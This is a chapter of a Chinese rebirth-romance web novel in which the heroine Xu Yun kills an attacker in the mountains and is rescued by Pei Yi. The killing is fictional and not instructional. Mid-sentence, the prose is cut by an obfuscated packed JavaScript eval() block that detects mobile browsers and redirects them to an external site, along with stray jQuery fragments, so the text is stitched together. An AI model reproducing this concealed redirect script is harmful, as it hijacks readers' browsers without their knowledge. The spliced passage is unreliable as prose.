比起山中的野兽,她更害怕出现的,是人。
果不其然,是那个白日对她不怀好意的男人。
他见许韵一个人,先是小小地惊讶了一下,随后两只细小的眼睛眯起,猥琐的目光上下打量着她。
“想不到你这女人还有点东西,竟然能从他手里逃出来。”
他嘿嘿笑了几声,声音猥琐黏腻:“不过别怕,我绝对会怜香惜玉的。”
许韵垂下眼,胃中上下翻腾,忍住不吐出来,悄悄将匕首往袖中藏了藏。
她掩饰好情绪,再抬头时一双杏眼迷离,眸光涟涟,轻启着唇瓣:“你,能带我出去吗?我好害怕……”
男人只觉口干舌燥,跨步几下就跑到她面前,舔了下嘴唇,一边迫不及待拉扯着衣襟。
“美人儿莫怕,我定会好好疼你……”
袖摆中的手攥得越来越紧,看着男人凑过来那张油腻的脸,她脸上楚楚可怜的神情更甚,勾得男人直发慌。
男人一把抓住她的双肩,眼看嘴巴就要往她脖颈间钻去。
袖中的匕首飞速地拔出,狠狠地扎进他的侧颈。
男人痛呼出声,单手捂住伤口,剧烈的疼痛使他立马反应过来,“贱女人!”
他猛地踹出一脚,重重踢在许韵的小腹上。
许韵皱紧双眉,闷哼了一声,嘴角溢出一丝鲜血来。
她手心依然死死抓着那把匕首,仿佛濒死之人在河岸抓到的一根野草。
趁着他哀嚎的间隙,许韵艰难地直起身子,目光望向他,冰冷至极。
男人恶狠狠盯着眼前的人,想不到竟然折在了一个手无缚鸡之力的女人手里。
他眼中迸发出恶兽的狠厉,一脚踩到她的手背,踢掉了那把匕首:“老子让你死!”
一双粗大的双手缠上脖子,许韵瞬间呼吸不上来,粗粝的指腹摩擦得生疼。
但这些,远不及大脑中传来的晕眩感和无力的窒息。
男人本来就被刺中了一处致命之处,气息也不似最开始那般强势。
许韵用上全身的力气,摸到了怀中的一小块硬物。
她缓缓勾起嘴角,面上血迹斑斑,温婉的笑容在月色下显得有些瘆人。
她哑着嗓子,气声从喉咙中艰涩地吐出:“你,去死。”
男人只感觉后颈处一阵刺痛,他瞳孔睁得巨大,眼白快要翻出,狰狞骇人至极。
许韵拔出那块碎瓷片,下一秒,又面无表情地刺入。
男人嘴中不断喷出红色的血液,溅到了她苍白虚弱的脸上。
眉间一点嫣红,清冷温婉,月色下,好似佛龛中供奉的神祇。
脖颈间的禁锢逐渐脱离,‘轰隆’一声,眼前的大汉睁着一双怒目,摔倒在地。
许韵用完了仅剩的一丝力气,无力地瘫在地上,朝着侧前方的月色眉眼微弯。
她赢了。
不过,好像和前世一样,她总是死前也见不到裴熠一面。
她此刻好想告诉他,她很想他。
耳边冒出嗡嗡的争鸣声,焦急的步子踩上地面的枯枝,呲呲声由远及近。
来人背对着月光,身形颀长,一身玄黑长袍松散凌乱,身体肉眼可见地颤抖着。
一股熟悉的清冽香气从四周裹袭而来。
纵使面容掩在光影中,她也能清晰地认出来人。
真好,这一次,她终于能得偿所愿。
“……是你吗?”
裴熠一个滑步上前,在她晕倒之际将人揽进了怀中。
他极其轻柔触摸上她的脸颊,指尖不断发着抖,声音沙哑哽咽,喃喃着:“对不起,我来迟了。”
原本白皙的半边脸颊微微有些红肿,嘴角还挂着一丝干涸的血迹。
感受到男子温热的胸膛,许韵瞬间鼻头一酸,终于止不住哭出来声。
“我的馒头掉了。”
她藏了一整天的馒头,在滚下山坡时不知道滚到了那个犄角旮旯里。
她捂着小腹,小声嗫嚅着:“我好饿,饿得肚子疼。”
裴熠目光越来越深沉,落在她腰腹处的衣衫上。
一个黑色的脚印显眼可见。
裴熠轻轻揉着她的小腹处,眸中的心疼溢出眼眶,逐渐红了眼尾。
“好。”他用手指轻轻抹去她眼角的泪,垂下头温柔耐心地哄着,“我们马上回府吃好吃的,好不好?”
许韵嘟囔着嘴,像是撒娇:“那可得快点。”
“不会再让你饿肚子。”
这是最后一次,最后一次。
裴熠是跟着林间的路径追来的,方向错乱不分,他心中不由地越来越焦急。
灌木丛上钩掉的金丝线在贫瘠的山林间显得异常突兀。
他接过白星递来的披风,密不透风地裹住怀中的女子。
“先去旬国公府道一声平安,明日我会将人送回去。”
许相旬夫妇听闻许韵失踪的消息,早已心急如焚。
但又不能大张旗鼓地寻找,只能对外称许韵去了好友家中。
今日天色已暗,裴熠是带的自家暗卫,现在送人回府难免引起猜测。
这个地方很是偏僻,已经出了城几十里,山路崎岖。
裴熠出来得急,没有准备舒适点的马车,只能将人稳稳抱在怀里,以此来减轻她的颠簸。
车厢内矮桌上燃着一盏微弱的烛火,还是一直放在箱中备用的。
他不习惯点灯。
“裴子悦。”
裴熠原本阴沉的眼底突然化开一滩春水,望向许韵:“再睡一会,等会就能到家了。”
身上传来一阵阵的疼痛,她皱紧了眉心,扬起头眼神直勾勾地望向他。
突然,她伸出手摸上他的脸颊,最后到眉眼,忍不住用力按了一下。
‘嘶’,裴熠被她突如其来的动作吸引,时刻关注着她的神色是否有不适。
猛地感受到眉骨处剧烈的扯动,他眸光暗了暗,沙着嗓子:“怎么了?”
许韵小声含糊着:“疼吗?”
裴熠反问道:“你呢?”
她心头莫名慌乱了一瞬,眸子瞬间又湿润了。
裴熠心久久地揪疼在一起,她自小就不爱哭:“嗯?”
声音亲昵宠溺,更像撒娇一般,听不出询问的语气。
“我还以为,我们又要生离死别了。”
此话一出,抱着她的双手明显僵硬了些,手背迸出一道道青筋。
车窗关得严丝合缝,没有透进来一丝凉风。
或许是他身上的温度太过温热,许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811089|175238||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
韵下意识将头埋得更进去了些,汲取着仅有的温度。
“阿韵。”
他开口,许韵等了许久,却没有听到他的下一句。
她强忍住不适扬起头,一抹幽深的墨色倏然间闯入眸中,不是她平时见过的裴熠。
惶恐,惊喜,不可置信,还带着些说不明道不清的喜悦。
她又累又痛,又冷又饿。
刚刚醒过来的小会好像就已经花费了她好不容易积攒的力气,似乎只是为了醒来确认什么。
许韵眼皮像灌了铅一般,开始犯起困来。
她想起来了,裴子悦说带她回家吃好吃的,她只要乖乖睡觉就好了。
眼皮上覆上一层细腻的炽热,驱散了些眉眼间的不适。
“你也回来了,是吗?”
她听见耳畔的呼吸,嘴唇张了张,想要说话。
最后却渐渐失去了意识,没有发出任何声音。
许韵手指紧张地抓住衣袖,耳边萦绕着一股好闻的松香气息。
她强撑着睁开眼,目光有些闪躲,不敢直视他。
“你也,重生了吗?”
她的声音放得极低,仿佛很是心虚,睫毛也在不停地乱颤。
“阿韵,为什么要嫁给他?”
许韵忘记了身上的疼痛,慕地抬起头,“我不是……”
也不知是自己对男女情爱太过愚钝,还是他心思掩藏得太深,她两世都对他的心意毫无察觉。
“我和赵允——”
她现在极想解释前世自己和赵允的关系,她并不喜欢他,绝大部分原因只是迫于形势寻求一个庇护。
但是转念一想,事情既然已经发生了,再多说又有何意义。
裴熠能为了她服毒自伤,也要退掉和赵嫣的婚事。
而她却在他面前,让他眼睁睁看着自己和赵允谈婚论嫁,怎么想心里头都不是个滋味。
“那不是你的错。”
错的是赵允,怪他将手伸到了不该碰的人身上。
不仅欺骗了她的心,更害了她的性命。
他眼神慢慢冷淡下来,眼底冷冽的杀意一闪而过,半点没有让人察觉。
下颌被两根修长有力的手指抬起,细细来回摩挲着她的皮肤,呢喃自语:“阿韵,不要再离开我了。”
男子的眸光逐渐变深,喉头重重吞咽了几下,呼吸也逐渐粗/|重起来。
许韵望着他眼中的欲,突然有些害怕,她从来没有见过这样的裴熠。
像头潜伏已久的野兽,盯上了早已垂涎已久的猎物,正思考着如何将它抓到手中,吞噬下腹。
她忍不住伸出手掌抵了下正在靠近的胸膛,裴熠忽然冷笑着看着她:“你还是喜欢上他了吗?”
“这次换我不行吗?”
阴冷黏湿的声音缠绕在耳边,她手臂上汗毛竖起,立马起了一层鸡皮疙瘩。
许韵有些害怕这样的裴熠,拼命想开口解释:“不喜欢。”
她不喜欢赵允。
额头上有冰凉的东西敷上,她骤然间睁开了双眼,轻喘着粗气。
她摸了下额上的冰袋,发觉自己全身上下烫得厉害。
原来是个噩梦。
她稍微松了口气,回想起梦里人的样子,仍然心有余悸。